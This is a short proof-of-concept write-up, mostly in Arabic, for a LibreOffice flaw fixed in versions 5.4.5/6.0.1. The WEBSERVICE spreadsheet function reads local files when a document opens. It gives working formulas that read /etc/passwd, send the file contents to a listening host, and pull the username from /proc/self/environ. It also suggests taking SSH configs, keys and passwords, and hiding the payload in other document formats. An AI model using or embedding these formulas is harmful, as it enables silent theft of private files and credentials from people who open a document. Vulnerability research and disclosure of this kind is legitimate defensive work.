
Proof of concept of LibreOffice remote arbitrary file disclosure vulnerability
يدعم LibreOffice دالة COM.MICROSOFT.WEBSERVICE:
https://support.office.com/en-us/article/webservice-function-0546a35a-ecc6-4739-aed7-c0b7ce1562c4
تُستخدم هذه الدالة للحصول على البيانات عبر URL، وعادةً تُستخدم على النحو التالي:
=FILTERXML(WEBSERVICE("http://api.openweathermap.org/data/2.5/forecast?q=Copenhagen,dk&mode=xml&units=metric");"number(/weatherdata/forecast/time[2]/temperature/@value)")
في الأصل:
For protocols that are not supported, such as ftp: // or file: //, WEBSERVICE returns the #VALUE! error value.
في LibreOffice، لم يتم تنفيذ هذه القيود قبل الإصدارين 5.4.5/6.0.1.
افتراضيًا، لا يتم تحديث الخلايا، لكن إذا حددت نوع الخلية مثل ~error، فسيتم تحديث الخلية عند فتح المستند.
لقراءة ملف، كل ما تحتاجه هو:
=WEBSERVICE("/etc/passwd")
يمكن أيضًا استخدام هذه الدالة لإرسال ملف:
=WEBSERVICE("http://localhost:6000/?q=" & WEBSERVICE("/etc/passwd"))
لتنجح العملية، تحتاج إلى إرسال ملفات المستخدم الحالي، لذلك يجب استرجاع المسار الرئيسي (home) للمستخدم الحالي.
=MID(WEBSERVICE("/proc/self/environ"), FIND("USER=", WEBSERVICE("/proc/self/environ")) + 5, SEARCH(CHAR(0), WEBSERVICE("/proc/self/environ"), FIND("USER=", WEBSERVICE("/proc/self/environ")))-FIND("USER=",
يمكنك أيضًا تحليل ملفات أخرى، مثل ~/.ssh/config أو ما شابه ذلك.
بالنسبة للصيغ الأخرى غير صيغ LibreOffice Calc، كل ما تحتاجه هو تضمين كائن Calc في مستند آخر (لقد تحققت من أنه يعمل).
من السهل إرسال أي ملفات تتضمن مفاتيح وكلمات مرور وأي شيء آخر. معدل نجاح 100%، وصامت تمامًا، ويؤثر على LibreOffice قبل الإصدارين 5.4.5/6.0.1 على جميع أنظمة التشغيل (GNU/Linux و MS Windows و macOS وغيرها)، ويمكن تضمينه في جميع الصيغ التي يدعمها LO تقريبًا.
تم اكتشاف الثغرة بشكل مستقل بواسطتي (@jollheef) وRonnie Goodrich && Andrew Krasichkov (وفقًا لملاحظات فريق LibreOffice).